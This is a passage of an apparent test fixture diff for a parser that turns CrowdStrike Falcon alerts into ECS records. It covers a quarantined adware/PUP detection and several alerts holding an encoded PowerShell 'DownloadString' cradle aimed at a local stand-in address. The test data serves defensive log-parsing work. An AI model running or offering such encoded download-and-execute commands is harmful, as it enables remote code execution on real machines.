+                "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\<H^hNG\\\"ZQ3#U3\\\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6>a%iM\\\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\\\"b&m!<<'\",\"N6CU&`%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
+                "severity": 21,
+                "type": [
+                    "start"
+                ]
+            },
+            "file": {
+                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
+            },
+            "host": {
+                "domain": "ABC.LOCAL",
+                "hostname": "ABC709-1175",
+                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "mac": [
+                    "AB-21-48-61-05-B2"
+                ],
+                "os": {
+                    "full": "Windows11",
+                    "platform": "Windows",
+                    "type": "windows"
+                }
+            },
+            "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+            "process": {
+                "end": "2023-11-03T18:00:21.000Z",
+                "entity_id": "399748687993",
+                "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "hash": {
+                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+                },
+                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "parent": {
+                    "command_line": "C:\\WINDOWS\\Explorer.EXE",
+                    "entity_id": "392736520876",
+                    "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                    "hash": {
+                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
+                    },
+                    "name": "explorer.exe",
+                    "pid": 392736520876
+                },
+                "pid": 399748687993,
+                "start": "2023-11-03T18:00:13.000Z",
+                "user": {
+                    "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "name": "mohit.jha"
+                }
+            },
+            "related": {
+                "hash": [
+                    "b07f77fd3f9828b2c9d61f8a36609741",
+                    "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                    "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "8cc3fcdd7d52d2d5221303c213e044ae",
+                    "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                    "0000000000000000000000000000000000000000"
+                ],
+                "hosts": [
+                    "ABC.LOCAL",
+                    "ABC709-1175"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "user": [
+                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "yuvraj.mahajan",
+                    "mohit.jha"
+                ]
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "id": [
+                        "CSTA0004"
+                    ],
+                    "name": [
+                        "MachineLearning"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "CST0000"
+                    ],
+                    "name": [
+                        "Adware/PUP"
+                    ]
+                }
+            },
+            "user": {
+                "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "name": "mohit.jha"
+            }
+        },
+        {
+            "@timestamp": "2024-11-07T20:47:22.000Z",
+            "crowdstrike": {
+                "alert": {
+                    "agent_id": "abcd1234abcd1234abcd12",
+                    "cid": "asdfasdfsadfasdfasdf",
+                    "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
+                    "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                    "crawled_timestamp": "2024-11-07T20:49:59.123Z",
+                    "created_timestamp": "2024-11-07T20:49:59.123Z",
+                    "detect_type": "endpoint",
+                    "host_name": "SOMEHOST",
+                    "host_type": "Server",
+                    "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                    "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
+                    "operating_system": "Windows",
+                    "pattern_id": "97000",
+                    "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==",
+                    "process_id": "123456789123",
+                    "product": "overwatch",
+                    "seconds_to_resolved": 0,
+                    "seconds_to_triaged": 0,
+                    "show_in_ui": true,
+                    "status": "new",
+                    "tags": [
+                        "ow/investigated",
+                        "ow/resolution/benign"
+                    ],
+                    "timestamp": "2024-11-07T20:47:22.000Z",
+                    "tree_id": "12345678901",
+                    "type": "lead",
+                    "updated_timestamp": "2024-11-07T20:49:59.123Z"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                "kind": "alert",
+                "original": "{\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"host_name\":\"SOMEHOST\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}"
+            },
+            "file": {
+                "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
+            },
+            "host": {
+                "id": "abcd1234abcd1234abcd12",
+                "name": "SOMEHOST",
+                "os": {
+                    "name": "Windows",
+                    "type": "windows"
+                },
+                "type": "Server"
+            },
+            "process": {
+                "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
+                "entity_id": "123456789123",
+                "pid": 123456789123
+            },
+            "related": {
+                "hosts": [
+                    "SOMEHOST"
+                ]
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields",
+                "ow/investigated",
+                "ow/resolution/benign"
+            ]
+        },
+        {
+            "@timestamp": "2024-11-07T20:47:22.000Z",
+            "crowdstrike": {
+                "alert": {
+                    "agent_id": "abcd1234abcd1234abcd12",
+                    "cid": "asdfasdfsadfasdfasdf",
+                    "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
+                    "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                    "crawled_timestamp": "2024-11-07T20:49:59.123Z",
+                    "created_timestamp": "2024-11-07T20:49:59.123Z",
+                    "detect_type": "endpoint",
+                    "host_name": "SOMEHOST",
+                    "host_type": "Server",
+                    "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                    "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
+                    "name": "OTHERUSER on OTHERHOST",
+                    "operating_system": "Windows",
+                    "pattern_id": "97000",
+                    "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==",
+                    "process_id": "123456789123",
+                    "product": "overwatch",
+                    "seconds_to_resolved": 0,
+                    "seconds_to_triaged": 0,
+                    "show_in_ui": true,
+                    "status": "new",
+                    "tags": [
+                        "ow/investigated",
+                        "ow/resolution/benign"
+                    ],
+                    "timestamp": "2024-11-07T20:47:22.000Z",
+                    "tree_id": "12345678901",
+                    "type": "lead",
+                    "updated_timestamp": "2024-11-07T20:49:59.123Z"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                "kind": "alert",
+                "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"host_name\":\"SOMEHOST\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}"
+            },
+            "file": {
+                "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
+            },
+            "host": {
+                "id": "abcd1234abcd1234abcd12",
+                "name": "SOMEHOST",
+                "os": {
+                    "name": "Windows",
+                    "type": "windows"
+                },
+                "type": "Server"
+            },
+            "process": {
+                "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
+                "entity_id": "123456789123",
+                "pid": 123456789123
+            },
+            "related": {
+                "hosts": [
+                    "SOMEHOST",
+                    "OTHERHOST"
+                ],
+                "user": [
+                    "OTHERUSER"
+                ]
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields",
+                "ow/investigated",
+                "ow/resolution/benign"
+            ],
+            "user": {
+                "name": "OTHERUSER"
+            }
+        },
+        {
+            "@timestamp": "2024-11-07T20:47:22.000Z",
+            "crowdstrike": {
+                "alert": {
+                    "agent_id": "abcd1234abcd1234abcd12",
+                    "cid": "asdfasdfsadfasdfasdf",
+                    "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
+                    "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                    "crawled_timestamp": "2024-11-07T20:49:59.123Z",
+                    "created_timestamp": "2024-11-07T20:49:59.123Z",
+                    "detect_type": "endpoint",
+                    "host_type": "Server",
+                    "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                    "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
+                    "name": "OTHERUSER on OTHERHOST",
+                    "operating_system": "Windows",
+                    "pattern_id": "97000",
+                    "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==",
+                    "process_id": "123456789123",
+                    "product": "overwatch",
+                    "seconds_to_resolved": 0,
+                    "seconds_to_triaged": 0,
+                    "show_in_ui": true,
+                    "status": "new",
+                    "tags": [
+                        "ow/investigated",
+                        "ow/resolution/benign"
+                    ],
+                    "timestamp": "2024-11-07T20:47:22.000Z",
